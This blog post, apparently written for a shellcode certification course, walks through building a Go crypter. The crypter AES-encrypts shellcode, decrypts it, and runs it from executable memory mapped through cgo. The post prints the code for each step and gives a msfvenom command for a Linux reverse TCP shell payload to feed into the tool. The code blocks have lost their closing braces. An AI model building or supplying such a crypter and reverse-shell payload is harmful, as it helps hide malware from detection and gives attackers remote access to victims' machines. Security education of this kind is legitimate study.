A Trinity of Shellcode, AES & Go

Mar 31 · 4 min read

The goal for this post will be to demonstrate how to write a sort of crypter that will work as a command-line utility allowing us to:

  • Encrypt a file (it’s aimed for shellcode payloads but that’s irrelevant)
  • Decrypt a file
  • Run shellcode

Let’s get to it!

Photo by Bruno Nascimento on Unsplash

Step One: Encrypt

I choose AES as the cipher. The code looks like this (full source can be found on GitHub):

func Encrypt(key []byte, text []byte) ([]byte, error) { // Init Cipher
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
// Padding
paddingLen := aes.BlockSize - (len(text) % aes.BlockSize)
paddingText := bytes.Repeat([]byte{byte(paddingLen)}, paddingLen)
textWithPadding := append(text, paddingText...)
// Getting an IV
ciphertext := make([]byte, aes.BlockSize+len(textWithPadding))
iv := ciphertext[:aes.BlockSize]
// Randomness
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return nil, err
// Actual encryption
cfbEncrypter := cipher.NewCFBEncrypter(block, iv)
cfbEncrypter.XORKeyStream(ciphertext[aes.BlockSize:], textWithPadding)
return ciphertext, nil

The function just creates an AES cipher, then calculates the padding needed and proceeds to encrypt the payload.

Photo by Christopher Gower on Unsplash

Step Two: Decrypt

Now we need to implement the reverse function (again, full source code on Github):

func Decrypt(key []byte, text []byte) ([]byte, error) {
// Init decipher
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
if (len(text) % aes.BlockSize) != 0 {
return nil, errors.New("wrong blocksize")
// Getting the IV
iv := text[:aes.BlockSize]
// Actual decryption
decodedCipherMsg := text[aes.BlockSize:]
cfbDecrypter := cipher.NewCFBDecrypter(block, iv)
cfbDecrypter.XORKeyStream(decodedCipherMsg, decodedCipherMsg)
// Removing Padding
length := len(decodedCipherMsg)
paddingLen := int(decodedCipherMsg[length-1])
result := decodedCipherMsg[:(length - paddingLen)]
return result, nil
Photo by Artem Sapegin on Unsplash

Step Three: Run

As we are using Go (which does not allow raw bytes execution by default) and the shellcode provided was written for the C stack we need to find a way to execute C code in Go. This can be accomplished by using the “C” package and unsafe pointers.

In C we’d do something like this:

fp = (void *)shellcode

While in Go we need to use some tricks. We’ll use the unsafe package a special pointer that will allow us to use unsafe features:

import "unsafe"func Run(shellcode []byte) {
ptr := &shellcode[0]

Then we add the C package, write our C code as a comment right above the import and use the defined function to execute the unsafe pointer. This will behave as the C code presented earlier:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
void execute(char *shellcode, size_t length) {
unsigned char *ptr;
ptr = (unsigned char *) mmap(0, length, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
memcpy(ptr, shellcode, length);
( *(void(*) ()) ptr)();
import "C"
import ("unsafe")func Run(shellcode []byte) {
ptr := &shellcode[0]
size := len(shellcode)
C.execute((*C.char)(unsafe.Pointer(ptr)), (C.size_t)(size))

Yes, it’s ugly, I know… but you are running unsafe C code inside Go. It should be ugly. Full source code for this package can be found here.

Photo by freestocks.org on Unsplash

Step Four: CLI

Now that we have the meaty part ready we’ll need to implement some methods to facilitate the tool usage. I implemented some functions to allow the user to fire the encryption, decryption and “decrypt & run” routines using various sets of options.

I won’t go into details for this part as it just reads the parameters provided from os.Args[] and determines which function to execute depending on the input. Source code can be found here.

gocrypt {action} {key} {file}Action can be: 
Encryption: --encrypt -e encrypt e
Decryption: --decrypt -d decrypt d
Decrypt & Run: --run -r run r
Key: must be 16, 24 or 32 chars longFile: must be a valid path
Photo by Clem Onojeghuo on Unsplash

Step Five: Show

We can get the raw bytes for a reverse TCP shell from Metasploit issuing:

msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp LHOST= LPORT=4444 > msfvemonpayload

After that, we can use the payload to test our crypter. It’s show time!

The whole module can be found here:


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: SLAE64–1326
Source code can be found


Shellcode for the masses


Written by


Twitter: @syscall59 | medium.syscall59.com | syscall59@protonmail.com



Shellcode for the masses

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade